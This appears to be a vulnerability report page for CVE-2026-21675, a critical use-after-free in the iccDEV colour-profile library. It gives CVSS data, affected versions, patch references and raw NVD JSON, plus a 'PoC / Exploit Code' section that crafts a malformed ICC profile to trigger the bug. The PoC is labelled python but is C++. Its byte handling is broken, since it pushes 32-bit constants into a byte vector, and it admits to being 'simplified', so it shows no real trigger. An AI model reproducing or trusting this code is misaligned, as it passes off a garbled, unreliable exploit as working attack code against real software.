Security Vulnerability Report
中文
CVE-2026-21675 CVSS 9.8 CRITICAL

CVE-2026-21675

Published: 2026-01-06 02:15:46
Last Modified: 2026-01-12 21:00:32

Description

iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1 and below contain a Use After Free vulnerability in the CIccXform::Create() function, where it deletes the hint. This issue is fixed in version 2.3.1.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.1
iccDEV 2.3.1
iccDEV 2.3.0
iccDEV 2.2.x及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21675 PoC - Malformed ICC Profile Triggering Use After Free // This PoC demonstrates the vulnerability in CIccXform::Create() #include <icc.h> #include <vector> #include <cstdint> // Craft a malformed ICC profile that triggers the vulnerability std::vector<uint8_t> createMalformedICCProfile() { std::vector<uint8_t> profile; // ICC Profile Header (128 bytes) uint32_t size = 0x00000D00; // Profile size profile.insert(profile.end(), reinterpret_cast<uint8_t*>(&size), reinterpret_cast<uint8_t*>(&size) + 4); // CMM Type profile.insert(profile.end(), 4, 0x00); // Profile Version profile.insert(profile.end(), 4, 0x02); // Device Class profile.push_back(0x73636E72); // 'scnr' (display device) // Color Space profile.push_back(0x52474220); // 'RGB ' // PCS profile.push_back(0x58595A20); // 'XYZ ' // Date profile.insert(profile.end(), 20, 0x00); // Profile File Signature profile.insert(profile.end(), 4, 0x61637370); // 'acsp' // Primary Platform profile.insert(profile.end(), 4, 0x00); // Profile Flags profile.insert(profile.end(), 4, 0x00); // Device Manufacturer profile.insert(profile.end(), 4, 0x00); // Device Model profile.insert(profile.end(), 4, 0x00); // Device Attributes profile.insert(profile.end(), 8, 0x00); // Rendering Intent profile.insert(profile.end(), 4, 0x00); // PCS Illuminant uint8_t illuminant[] = {0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00}; profile.insert(profile.end(), illuminant, illuminant + 24); // Profile Creator profile.insert(profile.end(), 4, 0x00); // Profile ID (MD5) profile.insert(profile.end(), 16, 0x00); // Add malformed tag table to trigger vulnerability // This is a simplified representation uint32_t tagCount = 1; profile.insert(profile.end(), reinterpret_cast<uint8_t*>(&tagCount), reinterpret_cast<uint8_t*>(&tagCount) + 4); return profile; } // Trigger the vulnerability void triggerUAF() { auto malformedProfile = createMalformedICCProfile(); // Load the malformed profile CIccProfile* pProfile = CIccProfile::Load(malformedProfile.data(), malformedProfile.size()); if (pProfile) { // Create transform - triggers UAF in CIccXform::Create() CIccXform* pXform = CIccXform::Create(pProfile, iccXformTypeTRC | iccXformClassDisplay); // Use after free occurs here if hint was improperly freed if (pXform) { // Process color transformation pXform->Execute(NULL); pXform->Destroy(); } pProfile->Release(); } } int main() { triggerUAF(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21675", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:45.643", "lastModified": "2026-01-12T21:00:31.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1 and below contain a Use After Free vulnerability in the CIccXform::Create() function, where it deletes the hint. This issue is fixed in version 2.3.1.1."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Las versiones 2.3.1 e inferiores contienen una vulnerabilidad de uso después de liberación en la función CIccXform::Create(), donde elimina la sugerencia. Este problema está solucionado en la versión 2.3.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.1", "matchCriteriaId": "0E50DFFC-9185-4969-85A7-6D3976699720"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/510baf58fa48e00ebbb5dd577f0db4af8876bb31", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/182", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-wcwx-794g-g78f", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/182", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}]}}